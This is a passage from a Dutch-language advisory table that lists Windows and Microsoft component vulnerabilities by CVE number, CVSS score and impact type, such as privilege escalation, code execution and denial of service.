| Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| 